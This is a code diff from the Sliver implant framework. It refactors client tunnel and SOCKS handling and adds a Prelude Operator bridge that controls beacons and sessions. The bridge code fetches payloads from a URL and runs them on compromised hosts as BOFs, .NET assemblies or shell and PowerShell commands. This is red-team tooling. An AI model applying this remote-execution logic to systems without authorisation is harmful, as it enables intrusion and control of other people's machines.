+
+		conn.Close()
+
+		log.Printf("[socks] connection closed")
+	}()
+
 	log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
 
 	buff := leakyBuf.Get()
@@ -199,11 +233,12 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 	var ToImplantSequence uint64 = 0
 	for {
 		n, err := conn.Read(buff)
+
 		if err != nil {
-			if err == io.EOF {
-				return
-			}
-			continue
+			log.Printf("[socks] (User to Client) failed to read data, %s ", err)
+			// Error basically means that the connection is closed(EOF) OR deadline exceeded
+			// In any of that cases, it's better to just giveup
+			return
 		}
 		if n > 0 {
 			frame.Data = buff[:n]
@@ -211,6 +246,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
 			log.Printf("[socks] (User to Client) to Server to agent  Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
 			err := stream.Send(frame)
 			if err != nil {
+				log.Printf("[socks] (User to Client) failed to send data, %s ", err)
 				return
 			}
 			ToImplantSequence++

client/core/tunnel.go

@@ -1,130 +1,54 @@
 package core
 
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
-	"bytes"
 	"context"
 	"io"
 	"log"
-	"sync"
 
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
 
-var (
-	// Tunnels - Holds refs to all tunnels
-	Tunnels tunnels
-)
-
-// Holds the tunnels locally so we can map incoming data
-// messages to the tunnel
-type tunnels struct {
-	tunnels *map[uint64]*Tunnel
-	mutex   *sync.RWMutex
-	stream  rpcpb.SliverRPC_TunnelDataClient
-}
-
-// Get - Get a tunnel
-func (t *tunnels) Get(tunnelID uint64) *Tunnel {
-	t.mutex.RLock()
-	defer t.mutex.RUnlock()
-	return (*t.tunnels)[tunnelID]
-}
-
-// Start - Add a tunnel to the core mapper
-func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
-	t.mutex.Lock()
-	defer t.mutex.Unlock()
-	tunnel := &Tunnel{
-		ID:        tunnelID,
-		SessionID: sessionID,
-		Send:      make(chan []byte),
-		Recv:      make(chan []byte),
-	}
-	(*t.tunnels)[tunnelID] = tunnel
-	go func() {
-		tunnel.IsOpen = true
-		for data := range tunnel.Send {
-			log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
-			t.stream.Send(&sliverpb.TunnelData{
-				TunnelID:  tunnel.ID,
-				SessionID: tunnel.SessionID,
-				Data:      data,
-			})
-		}
-	}()
-	tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
-	return tunnel
-}
-
-// Close - Close the tunnel channels
-func (t *tunnels) Close(tunnelID uint64) {
-	log.Printf("Closing tunnel %d", tunnelID)
-	t.mutex.Lock()
-	defer t.mutex.Unlock()
-	tunnel := (*t.tunnels)[tunnelID]
-	if tunnel != nil {
-		delete((*t.tunnels), tunnelID)
-		tunnel.IsOpen = false
-		close(tunnel.Recv)
-		close(tunnel.Send)
-	}
-}
-
-// Tunnel - Duplex data tunnel
-type Tunnel struct {
-	ID        uint64
-	IsOpen    bool
-	SessionID string
-
-	Send chan []byte
-	Recv chan []byte
-}
-
-// Write - Writer method for interface
-func (tun *Tunnel) Write(data []byte) (int, error) {
-	log.Printf("Write %d bytes", len(data))
-	if !tun.IsOpen {
-		return 0, io.EOF
-	}
-	tun.Send <- data
-	n := len(data)
-	return n, nil
-}
-
-// Read - Reader method for interface
-func (tun *Tunnel) Read(data []byte) (int, error) {
-	var buff bytes.Buffer
-	if !tun.IsOpen {
-		log.Printf("Warning: Read on closed tunnel %d", tun.ID)
-		return 0, io.EOF
-	}
-	recvData := <-tun.Recv
-	log.Printf("Read %d bytes", len(recvData))
-	buff.Write(recvData)
-	n := copy(data, buff.Bytes())
-	return n, nil
-}
-
 // TunnelLoop - Parses incoming tunnel messages and distributes them
 //              to session/tunnel objects
+// 				Expected to be called only once during initialization
 func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
 	log.Println("Starting tunnel data loop ...")
 	defer log.Printf("Warning: TunnelLoop exited")
-	stream, err := rpc.TunnelData(context.Background())
+
+	ctx, cancel := context.WithCancel(context.Background())
+	stream, err := rpc.TunnelData(ctx)
+	defer cancel()
+
 	if err != nil {
 		return err
 	}
-	Tunnels = tunnels{
-		tunnels: &map[uint64]*Tunnel{},
-		mutex:   &sync.RWMutex{},
-		stream:  stream,
-	}
-	for {
 
-		// log.Printf("Waiting for TunnelData ...")
+	GetTunnels().SetStream(stream)
+
+	for {
+		log.Printf("Waiting for TunnelData ...")
 		incoming, err := stream.Recv()
-		// log.Printf("Recv stream msg: %v", incoming)
+		log.Printf("Recv stream msg: %v", incoming)
+		log.Printf("Recv stream err: %s", err)
+
 		if err == io.EOF {
 			log.Printf("EOF Error: Tunnel data stream closed")
 			return nil
@@ -133,16 +57,24 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
 			log.Printf("Tunnel data read error: %s", err)
 			return err
 		}
-		// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
-		tunnel := Tunnels.Get(incoming.TunnelID)
+		log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
+		tunnel := GetTunnels().Get(incoming.TunnelID)
+
 		if tunnel != nil {
+			data := incoming.GetData()
+
+			log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
+
 			if !incoming.Closed {
 				log.Printf("Received data on tunnel %d", tunnel.ID)
-				tunnel.Recv <- incoming.GetData()
+				err = tunnel.RecvData(data)
+
+				if err != nil {
+					log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
+				}
 			} else {
 				log.Printf("Closing tunnel %d", tunnel.ID)
-				tunnel.IsOpen = false
-				close(tunnel.Recv)
+				GetTunnels().Close(tunnel.ID)
 			}
 		} else {
 			log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)

client/core/tunnel_io.go

@@ -0,0 +1,146 @@
+package core
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"errors"
+	"io"
+	"log"
+	"sync"
+)
+
+// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
+type TunnelIO struct {
+	ID        uint64
+	SessionID string
+
+	Send chan []byte
+	Recv chan []byte
+
+	isOpen bool
+	mutex  *sync.RWMutex
+}
+
+// NewTunnelIO - Single entry point for creating instance of new TunnelIO
+func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
+	log.Printf("New tunnel!: %d", tunnelID)
+
+	return &TunnelIO{
+		ID:        tunnelID,
+		SessionID: sessionID,
+		Send:      make(chan []byte),
+		Recv:      make(chan []byte),
+		isOpen:    false,
+		mutex:     &sync.RWMutex{},
+	}
+}
+
+// Write - Writer method for interface
+func (tun *TunnelIO) Write(data []byte) (int, error) {
+	if !tun.IsOpen() {
+		log.Printf("Warning: Write on closed tunnel %d", tun.ID)
+		return 0, io.EOF
+	}
+
+	// This is necessary to avoid any race conditions on thay byte array
+	dataCopy := make([]byte, len(data))
+	n := copy(dataCopy, data)
+
+	log.Printf("Write %d bytes", n)
+	log.Printf("This bytes is: %s", dataCopy)
+
+	tun.Send <- dataCopy
+
+	return n, nil
+}
+
+// Read - Reader method for interface
+func (tun *TunnelIO) Read(data []byte) (int, error) {
+	recvData, ok := <-tun.Recv
+	if !ok {
+		log.Printf("Warning: Read on closed tunnel %d", tun.ID)
+		return 0, io.EOF
+	}
+
+	var buff bytes.Buffer
+	log.Printf("Read %d bytes", len(recvData))
+	buff.Write(recvData)
+
+	n := copy(data, buff.Bytes())
+	return n, nil
+}
+
+// Close - Close tunnel IO operations
+func (tun *TunnelIO) Close() error {
+	tun.mutex.Lock()
+	defer tun.mutex.Unlock()
+
+	if !tun.isOpen {
+		log.Printf("Warning: Close on closed tunnel %d", tun.ID)
+
+		// I guess we can ignore it and don't return any error
+		return nil
+	}
+
+	log.Printf("Close tunnel %d", tun.ID)
+
+	tun.isOpen = false
+
+	close(tun.Recv)
+	close(tun.Send)
+
+	return nil
+}
+
+func (tun *TunnelIO) IsOpen() bool {
+	tun.mutex.RLock()
+	defer tun.mutex.RUnlock()
+
+	return tun.isOpen
+}
+
+func (tun *TunnelIO) Open() error {
+	tun.mutex.Lock()
+	defer tun.mutex.Unlock()
+
+	if tun.isOpen {
+		return errors.New("tunnel relady in open state")
+	}
+
+	log.Printf("Open tunnel %d", tun.ID)
+
+	tun.isOpen = true
+
+	return nil
+}
+
+// RecvData - safe way to send data to internal Recv channel. Blocking.
+func (tun *TunnelIO) RecvData(data []byte) error {
+	tun.mutex.Lock()
+	defer tun.mutex.Unlock()
+
+	if !tun.isOpen {
+		return errors.New("closed tunnel")
+	}
+
+	tun.Recv <- data
+
+	return nil
+}

client/core/tunnels.go

@@ -0,0 +1,162 @@
+package core
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"errors"
+	"log"
+	"sync"
+
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+var (
+	// tunnelsStorage - Holds refs to all tunnels
+	tunnelsStorage *tunnels
+
+	tunnelsSingletonLock = &sync.Mutex{}
+)
+
+// GetTunnels - singleton function that returns or initializes all tunnels
+func GetTunnels() *tunnels {
+	tunnelsSingletonLock.Lock()
+	defer tunnelsSingletonLock.Unlock()
+
+	if tunnelsStorage == nil {
+		log.Println("Creating single instance of tunnels.")
+
+		tunnelsStorage = &tunnels{
+			tunnels:     &map[uint64]*TunnelIO{},
+			mutex:       &sync.RWMutex{},
+			streamMutex: &sync.Mutex{},
+		}
+	}
+
+	return tunnelsStorage
+}
+
+// Holds the tunnels locally so we can map incoming data
+// messages to the tunnel
+type tunnels struct {
+	tunnels     *map[uint64]*TunnelIO
+	mutex       *sync.RWMutex
+	streamMutex *sync.Mutex
+	stream      rpcpb.SliverRPC_TunnelDataClient
+}
+
+func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
+	t.streamMutex.Lock()
+	defer t.streamMutex.Unlock()
+
+	log.Printf("Set stream")
+
+	t.stream = stream
+}
+
+// Get - Get a tunnel
+func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
+	t.mutex.RLock()
+	defer t.mutex.RUnlock()
+
+	log.Printf("Get tunnel %d", tunnelID)
+
+	return (*t.tunnels)[tunnelID]
+}
+
+// send - safe way to send a message to the stream
+// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
+func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
+	t.streamMutex.Lock()
+	defer t.streamMutex.Unlock()
+
+	if t.stream == nil {
+		return errors.New("uninitizlied stream")
+	}
+
+	log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
+
+	return t.stream.Send(tunnelData)
+}
+
+// Start - Add a tunnel to the core mapper
+func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
+	t.mutex.Lock()
+	defer t.mutex.Unlock()
+
+	tunnel := NewTunnelIO(tunnelID, sessionID)
+
+	(*t.tunnels)[tunnelID] = tunnel
+
+	go func(tunnel *TunnelIO) {
+		tunnel.Open()
+		log.Printf("Tunnel now is open, %d", tunnelID)
+
+		for data := range tunnel.Send {
+			log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
+
+			err := t.send(&sliverpb.TunnelData{
+				TunnelID:  tunnel.ID,
+				SessionID: tunnel.SessionID,
+				Data:      data,
+			})
+
+			if err != nil {
+				log.Printf("Error sending, %s", err)
+			}
+		}
+
+		log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
+	}(tunnel)
+
+	tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
+	return tunnel
+}
+
+// Close - Close the tunnel channels
+func (t *tunnels) Close(tunnelID uint64) {
+	t.mutex.Lock()
+	defer t.mutex.Unlock()
+
+	log.Printf("Closing tunnel %d", tunnelID)
+
+	tunnel := (*t.tunnels)[tunnelID]
+
+	if tunnel != nil {
+		tunnel.Close()
+
+		delete((*t.tunnels), tunnelID)
+	}
+}
+
+// CloseForSession - closing all tunnels for specified session id
+func (t *tunnels) CloseForSession(sessionID string) {
+	t.mutex.RLock()
+	defer t.mutex.RUnlock()
+	log.Printf("Closing all tunnels for session %s", sessionID)
+
+	for tunnelID, tunnel := range *t.tunnels {
+		if tunnel.SessionID == sessionID {
+			// Weird way to avoid deadlocks but let it be
+			go func(tunnelID uint64) {
+				GetTunnels().Close(tunnelID)
+			}(tunnelID)
+		}
+	}
+}

client/prelude/agent-session.go

@@ -1,166 +0,0 @@
-package prelude
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bufio"
-	"bytes"
-	"context"
-	"encoding/json"
-	"fmt"
-	"io"
-	"io/ioutil"
-	"net"
-	"net/http"
-	"strings"
-	"time"
-
-	"github.com/bishopfox/sliver/client/prelude/util"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/bishopfox/sliver/protobuf/rpcpb"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-const (
-	defaultTimeout = 60
-	delim          = "\r\n"
-)
-
-type AgentSession struct {
-	Conn    *net.Conn
-	Session *clientpb.Session
-	RPC     rpcpb.SliverRPCClient
-	Beacon  Beacon
-	Config  AgentConfig
-}
-
-func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
-	return &AgentSession{
-		Conn:    c,
-		Session: s,
-		RPC:     rpc,
-		Config:  conf,
-		Beacon:  b,
-	}
-}
-
-func (a *AgentSession) ReceiveLoop() {
-	for {
-		err := a.send()
-		if err != nil {
-			return
-		}
-		scanner := bufio.NewScanner(*a.Conn)
-		for scanner.Scan() {
-			message := strings.TrimSpace(scanner.Text())
-			err = a.respond(message)
-			if err != nil {
-				return
-			}
-		}
-	}
-}
-
-func (a *AgentSession) send() error {
-	data, err := json.Marshal(a.Beacon)
-	if err != nil {
-		return err
-	}
-	dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
-	sendBuffer := make([]byte, 1024)
-	for {
-		_, err := dataBuff.Read(sendBuffer)
-		if err == io.EOF {
-			return nil
-		}
-		if err != nil {
-			return err
-		}
-		if _, err = (*a.Conn).Write(sendBuffer); err != nil {
-			return err
-		}
-		time.Sleep(time.Duration(a.Beacon.Sleep))
-	}
-}
-
-func (a *AgentSession) respond(message string) error {
-	var tempBeacon Beacon
-	if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
-		a.Beacon.Links = a.Beacon.Links[:0]
-		a.runLinks(&tempBeacon)
-	}
-	a.refreshBeacon(&a.Config)
-	a.send()
-	return nil
-}
-
-func (a *AgentSession) runLinks(tempBeacon *Beacon) {
-	for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
-		time.Sleep(time.Second * 1)
-		var payload []byte
-		if link.Payload != "" {
-			payload, _ = requestPayload(link.Payload)
-		}
-		response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
-		link.Response = response
-		link.Status = status
-		link.Pid = pid
-		a.Beacon.Links = append(a.Beacon.Links, link)
-		a.Config.EndInstruction(link)
-	}
-}
-
-func requestPayload(target string) ([]byte, error) {
-	resp, err := http.Get(target)
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != 200 {
-		return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
-	}
-	return ioutil.ReadAll(resp.Body)
-}
-
-func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
-	var pwd string
-	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
-		Request: MakeRequest(a.Session),
-	})
-	if pwdResp != nil {
-		pwd = pwdResp.Path
-	}
-	a.Beacon.Sleep = conf.Sleep
-	a.Beacon.Range = conf.Range
-	a.Beacon.Pwd = pwd
-	a.Beacon.Target = conf.Address
-	a.Beacon.Executing = conf.BuildExecutingHash()
-
-}
-
-func MakeRequest(session *clientpb.Session) *commonpb.Request {
-	if session == nil {
-		return nil
-	}
-	timeout := int64(defaultTimeout)
-	return &commonpb.Request{
-		SessionID: session.ID,
-		Timeout:   timeout,
-	}
-}

client/prelude/bof.go

@@ -27,7 +27,6 @@ import (
 
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/rpcpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 )
@@ -43,9 +42,9 @@ type bofArgs struct {
 	Value   interface{} `json:"value"`
 }
 
-func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
-	if !isLoaderLoaded(session, rpc) {
-		err = registerLoader(session, rpc)
+func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
+	if !isLoaderLoaded(implant, rpc) {
+		err = registerLoader(implant, rpc)
 		if err != nil {
 			return
 		}
@@ -55,6 +54,8 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 	}
 	for _, a := range args {
 		switch a.ArgType {
+		case "integer":
+			fallthrough
 		case "int":
 			if v, ok := a.Value.(float64); ok {
 				err = bofArgs.AddInt(uint32(v))
@@ -107,13 +108,19 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 		ServerStore: false,
 		Args:        extArgsBuffer,
 		Export:      loaderEntryPoint,
-		Request:     MakeRequest(session),
+		Request:     MakeRequest(implant),
 	})
 
 	if err != nil {
 		return
 	}
 
+	// If Async req, onFinishCallback won't be nil
+	if onFinishCallback != nil {
+		onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
+		return
+	}
+
 	if extResp.Response != nil && extResp.Response.Err != "" {
 		err = errors.New(extResp.Response.Err)
 	}
@@ -122,10 +129,10 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
 	return
 }
 
-func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
+func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
 	var coffLoaderPath string
 
-	switch session.Arch {
+	switch implant.GetArch() {
 	case "amd64":
 		coffLoaderPath = "COFFLoader.x64.dll"
 	case "386":
@@ -139,9 +146,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
 	resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
 		Name:    coffLoaderName,
 		Data:    loaderData,
-		OS:      session.OS,
+		OS:      implant.GetOS(),
 		Init:    "",
-		Request: MakeRequest(session),
+		Request: MakeRequest(implant),
 	})
 	if err != nil {
 		return err
@@ -152,9 +159,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
 	return nil
 }
 
-func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
+func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
 	extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
-		Request: MakeRequest(session),
+		Request: MakeRequest(implant),
 	})
 	if err != nil {
 		return false

client/prelude/bridge.go

@@ -0,0 +1,206 @@
+package prelude
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bufio"
+	"context"
+	"encoding/hex"
+	"encoding/json"
+	"fmt"
+	"io/ioutil"
+	"net"
+	"net/http"
+	"strings"
+	"time"
+
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/rpcpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+)
+
+const (
+	defaultTimeout = 60
+	delim          = "\r\n"
+)
+
+// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
+// to a Prelude Operator implant with a TCP transport.
+type OperatorImplantBridge struct {
+	Conn           *net.Conn
+	Implant        ActiveImplant
+	RPC            rpcpb.SliverRPCClient
+	PBeacon        OperatorBeacon
+	BeaconCallback func(string, func(*clientpb.BeaconTask))
+	Config         AgentConfig
+
+	recv chan []byte
+	send chan []byte
+}
+
+func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
+	return &OperatorImplantBridge{
+		Conn:           c,
+		Implant:        a,
+		RPC:            rpc,
+		Config:         conf,
+		BeaconCallback: callback,
+		PBeacon:        pbeacon,
+		recv:           make(chan []byte),
+		send:           make(chan []byte),
+	}
+}
+
+func (a *OperatorImplantBridge) register() {
+	data, err := json.Marshal(a.PBeacon)
+	if err != nil {
+		return
+	}
+	encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
+	dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
+	(*a.Conn).Write(dataBuff)
+}
+
+func (a *OperatorImplantBridge) ReceiveLoop() {
+	a.register()
+	go func() {
+		for {
+			data := <-a.send
+			encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
+			dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
+			(*a.Conn).Write(dataBuff)
+			time.Sleep(time.Duration(a.PBeacon.Sleep))
+		}
+	}()
+	for {
+		scanner := bufio.NewScanner(*a.Conn)
+		for scanner.Scan() {
+			msg := strings.TrimSpace(scanner.Text())
+			a.handleMessage(msg)
+		}
+	}
+}
+
+func (a *OperatorImplantBridge) handleMessage(message string) {
+	var tempBeacon OperatorBeacon
+	decoded, err := hex.DecodeString(message)
+	if err != nil {
+		return
+	}
+	if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
+		a.PBeacon.Links = a.PBeacon.Links[:0]
+		a.runLinks(&tempBeacon)
+	}
+}
+
+func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
+	for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
+		time.Sleep(time.Second * 1)
+		var payload []byte
+		if link.Payload != "" {
+			payload, _ = requestPayload(link.Payload)
+		}
+
+		// If we're running on a Beacon
+		if implantBridge.BeaconCallback != nil {
+			RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
+				link.Response = response
+				link.Status = status
+				link.Pid = pid
+				implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
+				implantBridge.Config.EndInstruction(link)
+				implantBridge.refreshBeacon()
+				data, err := json.Marshal(implantBridge.PBeacon)
+				if err != nil {
+					return
+				}
+				implantBridge.send <- data
+			})
+			return
+		}
+		// Running on a Session
+		response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
+		link.Response = response
+		link.Status = status
+		link.Pid = pid
+		implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
+		implantBridge.Config.EndInstruction(link)
+		implantBridge.refreshBeacon()
+		data, err := json.Marshal(implantBridge.PBeacon)
+		if err != nil {
+			return
+		}
+		implantBridge.send <- data
+
+	}
+}
+
+func requestPayload(target string) ([]byte, error) {
+	resp, err := http.Get(target)
+	if err != nil {
+		return nil, err
+	}
+	if resp.StatusCode != 200 {
+		return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
+	}
+	return ioutil.ReadAll(resp.Body)
+}
+
+func (a *OperatorImplantBridge) refreshBeacon() {
+	var pwd string
+	pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
+		Request: MakeRequest(a.Implant),
+	})
+	if pwdResp != nil {
+		pwd = pwdResp.Path
+	}
+	a.PBeacon.Sleep = a.Config.Sleep
+	a.PBeacon.Range = a.Config.Range
+	a.PBeacon.Pwd = pwd
+	a.PBeacon.Target = a.Config.Address
+	a.PBeacon.Executing = a.Config.BuildExecutingHash()
+
+}
+
+func MakeRequest(a ActiveImplant) *commonpb.Request {
+	timeout := int64(defaultTimeout)
+	req := &commonpb.Request{
+		Timeout: timeout,
+	}
+	if a == nil {
+		return nil
+	}
+
+	beacon, ok := a.(*clientpb.Beacon)
+	if ok {
+		req.BeaconID = beacon.ID
+		req.Async = true
+		return req
+	}
+	session, ok := a.(*clientpb.Session)
+	if ok {
+		req.SessionID = session.ID
+		req.Async = false
+		return req
+	}
+
+	return nil
+}

client/prelude/commands.go

@@ -2,7 +2,7 @@ package prelude
 
 /*
 	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
+	Copyright (C) 2022  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -24,11 +24,13 @@ import (
 	"fmt"
 	"strings"
 
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
 )
 
 //RunCommand executes a given command
-func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
+func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
 	switch executor {
 	case "keyword":
 		task := splitMessage(message, '.')
@@ -46,7 +48,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
 			if payload == nil {
 				return "missing BOF file", ErrorExitStatus, ErrorExitStatus
 			}
-			out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
+			out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
 			if err != nil {
 				return err.Error(), ErrorExitStatus, ErrorExitStatus
 			}
@@ -64,7 +66,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
 			if payload == nil {
 				return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
 			}
-			out, err := execAsm(agentSession.Session, agentSession.RPC, payload, eaargs)
+			out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
 			if err != nil {
 				return err.Error(), ErrorExitStatus, ErrorExitStatus
 			}
@@ -75,13 +77,13 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
 			return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
 		}
 	default:
-		bites, status, pid := execute(message, executor, agentSession)
+		bites, status, pid := execute(message, executor, agentSession, onFinish)
 		return string(bites), status, pid
 	}
 	return "", ErrorExitStatus, ErrorExitStatus
 }
 
-func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
+func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
 	args := append(getCmdArg(executor), cmd)
 	if executor == "psh" {
 		executor = "powershell.exe"
@@ -90,19 +92,32 @@ func execute(cmd string, executor string, agentSession *AgentSession) (string, i
 		executor = commandSections[0]
 		args = commandSections[1:]
 	}
-	execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
+	execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
 		Path:    executor,
